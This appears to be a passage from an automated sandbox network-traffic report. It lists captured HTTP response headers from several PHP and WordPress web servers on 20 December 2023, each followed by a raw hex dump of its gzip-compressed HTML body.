62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Dec 2023 02:13:31 GMTcontent-type: text/html; charset=UTF-8content-length: 4184server: Apachex-powered-by: PHP/7.1vary: Accept-Encodingcontent-encoding: gzipx-iplb-request-id: 668198D4:EE0F_D5BA2113:0050_65824DCB_1CEE5:4FF0x-iplb-instance: 51844Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 20 d3 b2 c0 b6 40 c8 a0 14 c5 9c 16 79 c9 22 51 20 19 ac 1c c5 88 ef 25 37 8c 76 f9 1c f2 3c 90 22 23 e0 0e ab b1 d6 e5 6a 9e ca 82 25 05 84 a5 e2 57 99 2c 43 2a c5 48 24 c4 7f e0 05 94 09 21 9a 37 e1 f0 5a fe 8f 24 4b 08 6c 5e ca 21 0b 48 6c 43 64 32 0d 3f cf d2 5c a8 89 96 21 49 69 18 b2 37 2b 68 5a 9c 93 85 2c 2b d8 80 26 fa 1b 14 69 99 c3 04 fb 5c 4e fe 9e 70 22 6a 6a 96 26 68 0a f1 67 61 8a ca 51 9a 8e 22 ee e3 34 dc 9f 70 29 86 22 60 33 24 6f 5c 3c 9f 94 3f fc 94 e5 27 72 f7 6d 72 78 7e fe 62 38 19 3f fe 35 dc de e9 ff df 64 af fd 26 8c 4e 7d 9f b1 a0 ff 87 9f 2d 1b 35 e7 90 e3 c9 a8 64 23 9c e6 47 36 61 2f 55 25 5a c0 b0 4c 02 ad 4c a5 8c c4 28 e1 4b 68 28 71 b6 0c 5c 4a 5e ca fb 0b ef 48 e7 c5 70 c9 96 41 7d 54 a7 66 5e 5c 44 bc 39 60 c1 e9 08 a5 99 84 db 69 94 4a e8 82 f7 dd ce ce ea 6a bb ed 6d 52 77 1e e5 fc 66 c3 b0 ff fb 85 1a 25 91 f7 63 26 a2 a5 f8 e2 15 93 f7 df 69 18 ad 16 ec 31 58 f9 3b 5a c5 65 c1 32 b2 8d 24 17 79 c1 91 f1 e1 e5 50 24 42 a2 5a a3 b8 50 6a 39 41 91 97 a3 32 12 d4 3f 5c 2c 13 d4 b3 90 5a 38 70 82 ad 61 4e 98 04 c9 47 6a 36 c4 23 e1 67 70 84 c5 f3 6c 69 f1 2f 7f 6e fb 8f 99 ff b6 f9 da ff e5 fb df bf 5b 79 6f cb fe 2f ef 1e 2c bf ff 73 f3 17 aa c3 0a 2a ae bd ff 9f c5 e5 45 b1 78 7f 73 41 03 96 bc 28 65 52 c1 6e 16 3c 2f 0c 39 8a 35 ef e9 ab 26 58 09 fd 05 91 ac 18 a5 98 8f f4 a2 fe ca 62 69 11 6d 76 54 a2 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 5a 00 2c 7e af 8a aa 0f d2 67 c0 74 35 d2 04 b8 f1 8e be a1 d1 b8 0e 23 dd ea e0 03 04 eb 3d fe 27 aa 00 7f 23 84 1a 81 a5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:31 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 6705Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 72 f9 77 e2 b8 d6 ed cf 5f fe 0a 15 bd 6e 20 af 19 6c 20 55 14 89 53 5f 52 90 a9 cb ce 44 06 e8 d5 af 96 b0 65 5b 20 4b 2e 49 66 ea 9b ff fd 49 36 63 20 dd f7 f6 1d 1e 59 01 fb 0c fb 9c bd cf 3e fe d0 ba f9 da e9 de b6 41 28 23 72 b2 77 ac 7f 80 07 25 2c 41 af 4f 98 3b 1c a2 a9 95 b3 cf c7 e3 d6 5d f7 fa 17 d6 bb 0a 47 ae 73 7a d7 3e 3b bb 3b 6d 3d 8c 4f c7 0f a7 d7 67 a7 df 7e 24 ad f3 76 e7 e5 9e 1a 97 dc 38 f4 1f 6f 3f b5 af 3b 9f 3e 4d ba f4 36 ba ef c7 f6 b4 3e 1a 36 7e e9 e2 4b 3a 74 62 e4 d1 c1 cd a9 73 ed c2 97 d6 8b fb cb dd b5 63 d0 97 5f 7a d7 df 3e 75 5c 7c dd 6a 9c b2 cb 97 5f cc c3 c6 d7 d3 71 fb f4 f4 ce b2 be 47 b3 c7 9b 27 ee 4f cf 1e 13 d8 b8 6e 3c 8d 06 4f c6 37 a7 f6 08 7b bf 4c ce 2f ec 1b fc e2 3b c6 b4 63 56 c2 9f 5f bc d1 d5 e1 fd 79 e5 45 d6 fa 3f 26 d7 f5 eb 31 7d 0e 7e 36 fa 87 b5 a7 27 a7 ed 9d 3d 4f bf d6 6a 6d 8c ab 8d b1 65 e5 c0 24 22 54 58 b9 50 ca b8 59 a9 8c c7 e3 f2 b8 56 66 3c a8 98 9f 3f 7f ae 4c b4 1e 69 51 93 40 1a 58 39 44 73 60 f9 a4 f5 42 d0 3b d9 03 ea 73 1c 21 09 81 c6 29 a1 1f 09 1e 59 b9 af 8c 4a 44 65 a9 33 8d 51 0e b8 d9 9b 95 93 68 22 2b 1a f7 08 b8 21 e4 02 49 2b 91 7e a9 91 ab ac 03 51 18 21 2b 37 c2 68 1c 33 2e d7 da c7 d8 93 a1 e5 a1 11 76 51 29 7d 29 02 4c b1 c4 90 94 84 0b 09 b2 cc 22 10 21 c7 74 58 92 ac e4 63 69 51 b6 c4 96 58 12 74 a2 c0 20 71 19 8f cb 2e 8b 8e 2b 59 30 2b 10 2e c7 b1 04 82 bb 56 2e d3 23 60 2c 20 48 57 56 a0 27 10 15 a8 e2 b1 08 62 2a 2a 2e f4 cb 03 f1 05 f6 63 cb cc 9d 1c 57 b2 e6 93 0c 48 4e 09 02 11 f2 30 b4 72 2a 81 52 c1 ca 50 28 c2 df 85 84 dc 00 bf ef fd 4f 1f ba c3 80 b3 84 7a 4d 90 70 52 c8 57 2a 5e ad 11 0b 4e b1 f9 a9 3f 9a 24 65 97 b0 c4 f3 b9 a2 5f a6 48 56 64 88 22 24 2a 29 8c a8 a4 38 e5 00 fb f9 03 40 59 89 a3 18 41 09 5c 25 14 e2 47 7b ff 93 ca d3 04 66 2d 9e a8 b7 10 e1 20 94 ea b5 9a be 7a 58 c4 04 4e 9b 4a 3d 82 29 2a a5 76 3f da 7b dd 5b 5f d2 fc 37 2d 69 fe 27 97 bc fc 37 2d 79 f9 ef 5f 52 60 89 54 6c a8 37 8c a1 e7 61 1a 94 f8 bc f9 a3 6e 4e 8b 10 21 88 df 43 a9 b2 02 c0 a6 6e 28 6e 87 47 58 a3 79 3b 32 21 1b 21 be 23 0e 5d 89 47 48 cf 96 68 22 4b 1e 52 9e 57 49 46 9b 8a 23 45 6a 75 37 e1 82 f1 26 d0 f9 5d cb a8 d6 08 f2 00 d3 a6 01 0c a0 d8 83 aa b1 5c 7b ce ed 92 11 0f f1 b5 d2 92 79 a8 0a 0d 90 fe d4 0e e7 f5 3f c1 01 9c 10 06 55 ed aa 63 29 dd 5c b3 85 d0 d5 fa 86 d0 f3 d7 f5 1b ff e4 fb fe d1 52 d4 26 68 a4 23 0d fd 7b b4 dc c4 54 cb 02 98 48 a6 42 a5 31 ea 0f b1 2c f5 19 57 c3 4b 1c 7a 38 11 4d 90 21 97 22 36 db 9d d9 15 7c 3d 56 7e 99 12 74 02 d4 e7 38 7d 04 11 f2 30 b4 72 c2 e5 08 d1 dc c9 de ff 51 f4 74 7a 21 df d1 62 53 43 8b d1 67 de 74 5e b0 46 ea 27 d3 30 dd da c7 a3 34 ee 2b a3 96 7c 18 61 a2 e4 11
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-transform, no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/x-frame-options: SAMEORIGINcontent-length: 2007content-encoding: gzipvary: Accept-Encoding,User-Agentdate: Wed, 20 Dec 2023 02:13:32 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 6d 6f db 38 12 fe 2c ff 0a 56 07 57 09 b0 b2 62 25 b9 b6 1b cb 8b 24 7d d9 1c da 6b b0 6d b1 58 2c 0a 83 a6 c6 12 1b 8a 54 49 ca 8a af d7 ff 7e e0 8b 6c 39 c9 36 69 37 dd 05 ee 8b 6d 0d 39 33 0f 9f 19 0e 47 f4 e4 c1 d3 d7 a7 6f 7f 3b 7f 86 4a 5d b1 e9 20 98 3c 88 e3 df e9 02 9d 3d 43 8f df 4f 07 41 30 31 03 e8 b2 62 5c 65 61 a9 75 fd 63 92 b4 6d 3b 6a f7 47 42 16 c9 f8 c9 93 27 c9 a5 99 13 22 c2 b0 52 59 48 e1 71 88 18 e6 45 16 02 8f 5f 9c 84 d6 ec ef c0 73 ba 78 1f c7 3d 27 0f 76 8c 9b 5d f4 7e 6a dc 7e a5 b7 6b 1e e2 78 f2 60 cb 4b 09 38 37 de 2a d0 18 19 e8 31 7c 6c e8 32 0b 4f 05 d7 c0 75 fc 76 55 43 88 88 7b ca 42 0d 97 3a 31 4b 39 42 a4 c4 52 81 ce de bd 7d 1e 3f 0e 51 62 cc 68 aa 19 4c 5f 8a 02 9d 71 f4 90 29 fc b1 11 47 e8 d5 8b 93 df 5e 1d bf 78 33 3a 7d fd 0a bd 7e fe fc ec f4 ec f8 25 fa 2f 82 4b c2 1a 45 97 80 18 60 5d 82 44 73 5c 28 f4 f0 1f 8f d3 71 7a 84 7e 15 32 3f 97 a0 d4 24 71 76 07 c1 84 51 7e 81 24 b0 2c ca b9 8a 6b 09 0b d0 a4 8c 50 29 61 91 45 8e f6 aa 98 af 2a 5c a8 11 11 55 64 70 dd aa a5 46 ad 89 94 9b fc 20 8e 79 4a 94 8a e3 e9 44 11 49 6b 8d f4 aa 86 2c b2 6b ff 80 97 d8 49 23 a4 24 c9 a2 5e bc fb 8e 93 b6 8e 29 27 ac c9 41 25 1f 54 f2 e1 63 03 72 e5 bf 46 1f d4 4f 4b 90 d9 78 34 4e 47 07 71 5b 47 d3 49 e2 ac 4e 07 df cb 69 5c d1 42 62 0d a3 8a f2 0d 80 83 d1 f8 1e 9d fb 3c 49 6a d6 14 94 ab 04 b0 5a c5 4a 10 8a 59 4c 89 e0 96 0a c2 95 da 00 d8 db 72 bf 89 af d2 2b 06 aa 04 d0 11 a2 79 16 19 ad d9 42 70 3d c3 2d 28 51 c1 cc c4 88 28 15 21 1f fd 2f 44 e2 76 5c 44 a9 c4 58 8f bd f5 c4 08 30 63 96 2d a2 5c bc 0e 47 8f 46 69 d4 4f 07 eb bf 82 9c e2 2c c2 8c 5d 4d b7 db 17 b1 3c 98 a9 92 56 df 7b 25 cb 83 d8 ba f9 0e cb b9 f7 30 d8 fc e8 28 1f 8f f6 fe 0c e1 39 56 a5 4d bc bb 66 ca 7a cf 9a f8 af b5 af d0 96 8e c6 8f ff 0c aa 79 a3 b5 e0 77 8e f9 16 26 af 7b cf 88 16 42 de 3d 07 71 5e 51 6e 37 88 55 bb 67 28 6c bc c7 ef 1a ad 0d 12 a3 75 df 40 44 41 bf 05 89 51 fb 16 28 fe 14 e6 b8 82 2c 92 62 2e b4 8a d6 27 6f c4 05 e5 39 5c fe c0 05 96 a4 a4 4b b0 b5 66 5b 07 16 20 25 c8 9e 96 d2 92 12 1d 0b 49 cd 5a da 12 78 4c a4 50 ca 4b 9c 8d be 91 70 49 a1 ad 85 d4 bd 43 bf a5 b9 2e b3 1c 96 94 40 6c 1f dc 71 1f 4c 92 ae 7f 98 8b 7c d5 35 37 cc 10 80 ec 67 8c 89 a6 82 c7 4e d4 d6 31 11 12 e2 86 22 c4 04 c1 0c 62 e0 71 31 37 dd 4f 30 c9 e9 d2 14 fa d0 ce 75 a2 72 3c 9d 60 57 dd 6d 5f a5 4c 63 25 64 5e 9b ae c0 f6 56 e1 f4 5c b4 20 21 47 f3 55 bf 61 c0 Data Ascii: Ymo8,VWb%$}kmX,TI~l9
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Dec 2023 02:13:32 GMTcontent-type: text/html; charset=UTF-8content-length: 4184server: Apachex-powered-by: PHP/7.1vary: Accept-Encodingcontent-encoding: gzipx-iplb-request-id: 668198D4:F33C_D5BA2113:0050_65824DCC_16889:0D1Ax-iplb-instance: 51814Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 20 d3 b2 c0 b6 40 c8 a0 14 c5 9c 16 79 c9 22 51 20 19 ac 1c c5 88 ef 25 37 8c 76 f9 1c f2 3c 90 22 23 e0 0e ab b1 d6 e5 6a 9e ca 82 25 05 84 a5 e2 57 99 2c 43 2a c5 48 24 c4 7f e0 05 94 09 21 9a 37 e1 f0 5a fe 8f 24 4b 08 6c 5e ca 21 0b 48 6c 43 64 32 0d 3f cf d2 5c a8 89 96 21 49 69 18 b2 37 2b 68 5a 9c 93 85 2c 2b d8 80 26 fa 1b 14 69 99 c3 04 fb 5c 4e fe 9e 70 22 6a 6a 96 26 68 0a f1 67 61 8a ca 51 9a 8e 22 ee e3 34 dc 9f 70 29 86 22 60 33 24 6f 5c 3c 9f 94 3f fc 94 e5 27 72 f7 6d 72 78 7e fe 62 38 19 3f fe 35 dc de e9 ff df 64 af fd 26 8c 4e 7d 9f b1 a0 ff 87 9f 2d 1b 35 e7 90 e3 c9 a8 64 23 9c e6 47 36 61 2f 55 25 5a c0 b0 4c 02 ad 4c a5 8c c4 28 e1 4b 68 28 71 b6 0c 5c 4a 5e ca fb 0b ef 48 e7 c5 70 c9 96 41 7d 54 a7 66 5e 5c 44 bc 39 60 c1 e9 08 a5 99 84 db 69 94 4a e8 82 f7 dd ce ce ea 6a bb ed 6d 52 77 1e e5 fc 66 c3 b0 ff fb 85 1a 25 91 f7 63 26 a2 a5 f8 e2 15 93 f7 df 69 18 ad 16 ec 31 58 f9 3b 5a c5 65 c1 32 b2 8d 24 17 79 c1 91 f1 e1 e5 50 24 42 a2 5a a3 b8 50 6a 39 41 91 97 a3 32 12 d4 3f 5c 2c 13 d4 b3 90 5a 38 70 82 ad 61 4e 98 04 c9 47 6a 36 c4 23 e1 67 70 84 c5 f3 6c 69 f1 2f 7f 6e fb 8f 99 ff b6 f9 da ff e5 fb df bf 5b 79 6f cb fe 2f ef 1e 2c bf ff 73 f3 17 aa c3 0a 2a ae bd ff 9f c5 e5 45 b1 78 7f 73 41 03 96 bc 28 65 52 c1 6e 16 3c 2f 0c 39 8a 35 ef e9 ab 26 58 09 fd 05 91 ac 18 a5 98 8f f4 a2 fe ca 62 69 11 6d 76 54 a2 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 5a 00 2c 7e af 8a aa 0f d2 67 c0 74 35 d2 04 b8 f1 8e be a1 d1 b8 0e 23 dd ea e0 03 04 eb 3d fe 27 aa 00 7f 23 84 1a 81 a5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheX-Powered-By: PHP/7.4.33Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 7369Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d fb 72 da ba d6 ff bf 4f a1 43 a7 9b 64 4e 30 f7 92 34 49 cf e4 c2 6e 38 27 4d 33 49 ba 3b 7b 3a 1d 46 d8 02 dc 18 9b da 26 94 73 f6 7e 89 ef 89 bf 25 d9 06 d9 96 6f b1 c9 ad b4 d3 02 96 2c 2d 2d fd 24 2d 49 eb 72 30 b6 27 da fb 83 7f 54 2a a8 a7 5b 36 d6 65 72 4c 46 aa 8e 6c 32 99 6a d8 26 87 a5 ea 8d fb d5 aa 0e 55 1d 6b 92 32 b7 4b 48 36 14 f2 69 66 5b aa 42 ce 6e 3e 9e f7 ac 73 43 be 25 ca 61 69 88 35 8b 94 50 a5 f2 fe d5 c1 98 60 05 3e 26 c4 c6 68 6c db d3 0a f9 31 53 ef 0e 4b 27 86 6e 13 dd ae dc 2c a6 84 16 c5 7e 1d 96 6c f2 d3 ae 52 82 f6 91 3c c6 a6 45 ec 43 d5 32 2a bb bb ed bd 4a bd 04 05 85 c8 ec 2a aa 8d 07 1a 41 3a 9e 00 a9 8a 21 db aa ad 79 d5 b3 ef ef ff 8d 17 d6 d8 24 04 1d cd 6c 63 82 6d d5 d0 d1 bb 77 e8 7a 66 62 9b 7e f9 30 fb 8e dd af 3d 5d 51 b1 74 50 75 5e f4 d7 d7 d5 95 65 6d ac f4 24 62 68 e3 5d 42 18 03 9c a7 b7 64 31 37 4c c5 e2 9a 3d c1 fa 6c 88 65 7b 66 aa fa 08 19 43 74 7a 82 2c 62 de 19 68 62 d8 86 69 ed 40 35 77 c4 b4 89 89 be a8 f6 18 1d c9 32 b1 2c c3 54 09 24 fd 6e 02 4f 89 2e 2f 96 99 e0 e1 35 7b fb d4 54 ef 68 96 0f 04 9b 03 e3 27 b1 10 d6 15 f6 8b 28 e8 a3 5b f4 f5 04 6b da 32 eb b5 a1 cd 18 83 00 01 97 c6 1c 6a bc d4 b0 6e 43 ca 15 81 ce 27 e6 62 f9 e0 64 4c 26 aa 8c 35 ca b4 99 65 3b d4 d0 8a 55 99 70 cf d0 b9 7a 4b d0 07 6c a1 6b 9b f1 1e 72 b1 8e 30 06 aa 46 7c 2f 5f 62 f9 16 8f 28 0f f8 a7 1f b1 3c 86 9a b9 de db 41 c7 86 0d 1d 84 7e 57 35 8d 66 77 48 42 bf a1 63 02 2c c0 23 7f b1 37 80 aa 60 55 d7 b3 11 36 fd d5 10 80 9c ce 1a e4 d6 48 db 68 4c a6 26 e3 b5 47 b5 4b c0 25 c0 73 82 65 02 cc 0a b2 e0 9c e8 ff 25 68 82 a1 d5 5c 37 f8 9e ff 41 64 60 be 97 70 ad 92 09 d1 2d a8 16 92 2e cf 4f d0 75 5b f4 b0 83 1a b5 9a 30 a1 19 f1 1c b5 42 09 5f 7a 17 27 90 24 63 05 a3 eb 85 05 83 1c 86 95 0f 9f 0a b1 64 53 9d d2 66 72 10 15 8d 21 95 e2 09 25 81 57 42 37 63 62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:31 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 6695Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 72 69 77 e2 b8 da ed e7 37 bf 42 45 af 13 c8 6d 26 43 52 49 91 38 f5 26 05 99 ba 6c 2a 09 19 a0 57 df 5a c2 96 6d 81 2c b9 24 19 4c fa e4 bf 5f c9 66 30 81 74 9f d3 67 b8 64 05 ec 67 da cf b3 f7 3e f9 d0 ee 7e e9 f5 bf 75 40 20 43 72 ba 73 a2 7f 80 0b 25 ac 40 77 48 98 33 1e a3 99 59 b0 2e a6 d3 f6 6d ff e6 17 36 b8 0e 26 8e 7d 76 db 39 3f bf 3d 6b df 4f cf a6 f7 67 37 e7 67 5f 7f c4 ed 8b 4e ef f9 8e d6 af 78 fd c0 7b f8 76 d8 b9 e9 1d 1e 26 7d fa 2d bc 1b 46 d6 6c 7f 32 3e fa a5 8f af e8 d8 8e 90 4b 47 dd 33 fb c6 81 cf ed 67 e7 97 db 1b bb 4e 9f 7f 19 dc 7c 3d ec 39 f8 a6 7d 74 c6 ae 9e 7f 31 0e 8e be 9c 4d 3b 67 67 b7 a6 f9 3d 7c 79 e8 3e 72 6f 76 fe 10 c3 a3 9b a3 c7 c9 e8 b1 fe d5 6e 3e c0 c1 2f c9 c5 a5 d5 c5 cf 9e 5d 9f f5 8c 5a f0 f3 b3 3b b9 3e b8 bb a8 3d cb e6 f0 47 72 b3 7f 33 a5 4f fe cf f5 e1 41 f3 f1 d1 ee b8 e7 4f b3 2f cd 66 07 e3 c6 d1 d4 34 0b 20 09 09 15 66 21 90 32 6a d5 6a d3 e9 b4 3a 6d 56 19 f7 6b c6 a7 4f 9f 6a 89 e6 23 2d 6a 11 48 7d b3 80 68 01 2c 9f 34 5f 08 ba a7 3b 40 7d 4e 42 24 21 d0 73 2a e8 47 8c 27 66 e1 0b a3 12 51 59 e9 cd 22 54 00 4e f6 66 16 24 4a 64 4d cf 3d 06 4e 00 b9 40 d2 8c a5 57 39 2a d4 f2 83 28 0c 91 59 98 60 34 8d 18 97 b9 f6 29 76 65 60 ba 68 82 1d 54 49 5f ca 00 53 2c 31 24 15 e1 40 82 4c a3 0c 44 c0 31 1d 57 24 ab 78 58 9a 94 2d 67 4b 2c 09 3a 55 c3 20 71 18 8f aa 0e 0b 4f 6a 59 30 2b 10 0e c7 91 04 82 3b 66 21 e3 c3 67 cc 27 48 57 d6 a0 2b 10 15 a8 e6 b2 10 62 2a 6a 0e f4 aa 23 f1 19 0e 23 d3 28 9c 9e d4 b2 e6 d3 6c 90 9c 11 04 42 e4 62 68 16 54 02 a5 84 55 a1 50 07 7f 17 12 f2 3a f8 7d e7 7f 86 d0 19 fb 9c c5 d4 6d 81 98 93 52 b1 56 73 9b 47 91 e0 14 1b 87 c3 49 12 57 1d c2 62 d7 e3 ea fc 2a 45 b2 26 03 14 22 51 4b c7 88 5a 3a a7 ea 63 af b8 07 28 ab 70 14 21 28 81 a3 88 42 fc 78 e7 7f 52 7a 5a c0 68 46 89 7a 0b 10 f6 03 a9 5e 1b e9 ab 8b 45 44 e0 ac a5 d8 23 98 a2 4a 6a f7 e3 9d d7 9d fc 92 c6 bf 69 49 e3 3f b9 e4 d5 bf 69 c9 ab 7f ff 92 02 4b a4 62 63 bd 61 04 5d 17 53 bf c2 e7 cd 1f 75 73 5a 84 08 41 fc 0e 4a 95 15 00 b6 74 43 79 33 3c c1 7a 9a bb 25 13 b0 09 e2 5b e2 d0 91 78 82 34 b6 44 89 ac b8 48 79 5e 25 19 6d a9 1b 29 52 ab 3b 31 17 8c b7 80 ce 6f 5b 46 b5 86 90 fb 98 b6 ea a0 0e d4 f5 a0 51 5f ae 3d bf ed 8a 11 17 f1 5c 69 c5 38 50 85 75 90 fe 34 0f e6 f5 3f c1 11 4c 08 83 aa 76 d5 b1 a4 6e ce d9 82 e8 c6 fe 1a d1 f3 d7 bc c6 3f 79 9e 77 bc 24 b5 05 8e 52 c8 ba fe 3d 5e 6e 62 a8 65 01 8c 25 53 a1 ca 14 0d c7 58 56 86 8c 2b f0 0a 87 2e 8e 45 0b 64 93 2b 21 7b d9 9e d9 16 7c 3d 51 7e 99 11 74 0a d4 e7 24 7d 04 21 72 31 34 0b c2 e1 08 d1 c2 e9 ce ff 51 e7 e9 f4 82 be e3 c5 a6 75 4d c6 90 b9 b3 79 41 ee a8 9f 8c ba e1 34 3f 1e a7 71 4f 19 b5 e2 c1 10
